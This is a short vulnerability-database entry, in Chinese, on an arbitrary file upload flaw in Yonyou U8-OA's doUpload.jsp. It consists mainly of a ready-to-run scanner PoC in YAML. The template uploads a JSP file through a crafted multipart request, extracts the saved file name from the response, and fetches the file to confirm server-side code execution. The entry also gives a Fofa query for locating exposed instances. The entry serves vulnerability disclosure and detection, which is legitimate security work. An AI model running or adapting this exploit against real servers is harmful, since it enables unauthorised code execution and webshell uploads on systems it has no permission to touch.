yonyou-u8-doupload-fileupload: 用友U8-OA doUpload.jsp 任意文件上传

日期: 2025-09-01 | 影响软件: 用友U8-OA | POC: 已公开

漏洞描述

Fofa: title="用友U8-OA"

PoC代码[已公开]

id: yonyou-u8-doupload-fileupload

info:
  name: 用友U8-OA doUpload.jsp 任意文件上传
  author: zan8in
  severity: critical
  verified: true
  description: |-
    Fofa: title="用友U8-OA"
  reference:
    - https://mp.weixin.qq.com/s/Vgpy61ogRhbMrRon6L714Q
  tags: yonyou,fileupload
  created: 2024/02/23

set:
  filename: randomLowercase(6)
  rboundary: randomLowercase(8)
  randbody: randomLowercase(38)
rules:
  r0:
    request:
      method: POST
      path: /yyoa/portal/tools/doUpload.jsp
      headers:
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundary{{rboundary}}
      body: "\
        ------WebKitFormBoundary{{rboundary}}\r\n\
        Content-Disposition: form-data; name=\"iconFile\"; filename=\"{{filename}}.jsp\"\r\n\
        Content-Type: application/octet-stream\r\n\
        \r\n\
        <% out.println(\"{{randbody}}\"); %>\r\n\
        ------WebKitFormBoundary{{rboundary}}--\r\n\
        "
    expression: response.status == 200 && response.body.bcontains(b'window.returnValue') && response.body.bcontains(b'window.close()')
    output:
      search: '"\"(?P<jspname>.*?).jsp\";".bsubmatch(response.body)'
      jspname: search["jspname"]
  r1:
    request:
      method: GET
      path: /yyoa/portal/upload/{{jspname}}.jsp
    expression: response.status == 200 && response.body.bcontains(bytes(randbody))
expression: r0() && r1()

相关漏洞推荐